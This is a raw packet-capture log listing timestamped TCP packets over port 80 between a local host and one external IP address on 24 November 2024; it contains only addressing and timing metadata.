Nov 24, 2024 08:44:07.875004053 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.876046896 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.876151085 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.876235008 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.877197981 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.877285957 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.877331018 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.005294085 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.005384922 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.005467892 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.005804062 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.005903006 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.005944967 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.006766081 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.006860018 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.006905079 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.007926941 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.008058071 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.008105040 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.009124994 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.009227037 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.009263039 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.010270119 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.010370970 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.010725021 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.011476040 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.011559010 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.014733076 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.025181055 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.025242090 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.025691032 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.025733948 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.025784016 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.026732922 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.026896000 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.027003050 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.027035952 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.028070927 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.028234959 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.029149055 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.029266119 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.029311895 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.029345989 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.030426979 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.030510902 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.030554056 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.031656981 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.031747103 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.032082081 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.032819986 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.032943964 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.032984018 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.033984900 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.034101009 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.034173012 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.035154104 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.035281897 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.035326004 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.036386967 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.036459923 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.036504984 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.037679911 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.037786007 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.038733006 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.038733959 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.038810015 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.038928986 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.039103985 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.039906025 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.040026903 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.041416883 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.041455984 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.041481018 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.041954994 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.042298079 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.042386055 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.042433023 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.043481112 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.043576956 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.043607950 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.044706106 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.044795036 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.045454025 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.045830011 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.045928001 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.046008110 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.047163010 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.047173977 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.047214985 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.048458099 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.048614025 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.048650026 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.049410105 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.049510956 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.049545050 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.050561905 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.050676107 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.050723076 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.051770926 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.051876068 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.052933931 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.053009987 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.053057909 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.054126024 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.054162979 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.054325104 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.054356098 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.055299044 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.055414915 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.055455923 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.056483984 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.056606054 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.056648016 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.057708979 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.057811975 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.058716059 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.058861017 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.058975935 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.060048103 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.060085058 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.060156107 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.060879946 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.061207056 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.061331034 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.061381102 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.062515974 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.062603951 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.062643051 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.063584089 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.063724995 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.063760996 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.064770937 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.064876080 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.065337896 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.066034079 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.066231012 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.066267967 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.067181110 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.067264080 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.067303896 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.068346024 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.068465948 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.068505049 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.069617987 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.069787025 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.069894075 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.071130991 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.071250916 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.071291924 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.071891069 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.072055101 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.073060036 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.073101044 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.073157072 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.073945045 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.074266911 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.074373960 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.074728966 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.075439930 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.075546026 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.076632977 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.076670885 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.076719046 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.077843904 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.077887058 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.077903032 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.077939034 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.078958988 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.135307074 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.206614017 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.206739902 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.207209110 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.207259893 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.207328081 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.207361937 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.208444118 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.208537102 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.208581924 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.209568977 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.209683895 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.209719896 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.210746050 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.210876942 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.210918903 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.211939096 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.212047100 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.213145018 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.213202000 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.213226080 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.214725971 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.226351976 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.226497889 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.226578951 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.226701021 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.226811886 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.226855040 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.227878094 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.228019953 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.228060007 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.229067087 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.229168892 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.230374098 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.230420113 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.230509996 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.230720043 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.231403112 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.231540918 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.231576920 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.232630014 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.232739925 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.232779980 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.233800888 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.233920097 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.234730005 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.234963894 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.235090017 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.235126019 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.236241102 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.236336946 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.236377001 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.237344980 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.237535954 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.237576008 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.238593102 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.238708019 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.239722967 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.239758015 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.239825964 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.240916967 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.240961075 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.241008997 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.241041899 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.242146015 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.242197990 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.242238045 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.243259907 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.243397951 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.243438959 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.244441986 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.244560003 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.245650053 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.245701075 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.245753050 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.246721983 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.246814966 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.246913910 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.246948957 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.248009920 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.248126030 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.248178959 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.249294996 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.249468088 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.250518084 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.250564098 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.250624895 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.250711918 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.251557112 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.251669884 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.251710892 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.252737045 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.252834082 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.252872944 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.253920078 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.254024029 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.254735947 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.255090952 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.255237103 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.256273985 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.256324053 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.256361961 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.257467031 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.257520914 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.257570982 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.257601976 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.258676052 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.258786917 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.259825945 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.259938955 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.259955883 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.260305882 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.261009932 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.261140108 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.261176109 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.262211084 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.262389898 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.262428999 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.263402939 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.263606071 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.263654947 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.264588118 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.264792919 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.264837027 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.265760899 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.265954971 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.266724110 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.266942978 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.267069101 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.268138885 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.268177986 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.268282890 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.269320011 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.269387007 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.269419909 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.269449949 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.270488024 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.270595074 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.270637989 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.271704912 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.271789074 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.271831989 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.272871971 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.272983074 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.274046898 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.274112940 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.274179935 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.274733067 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.275223970 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.275362015 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.275398016 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.276412010 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.276554108 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.276598930 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.277642012 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.277753115 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.278721094 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.278779984 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.278902054 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.279977083 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.280014992 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.280066967 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.281806946 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.408134937 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.408358097 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.408415079 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.408740044 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.408849955 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.408962011 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:08.409919977 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.410332918 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:08.410377979 CET	49781	80	192.168.2.10	185.215.113.16
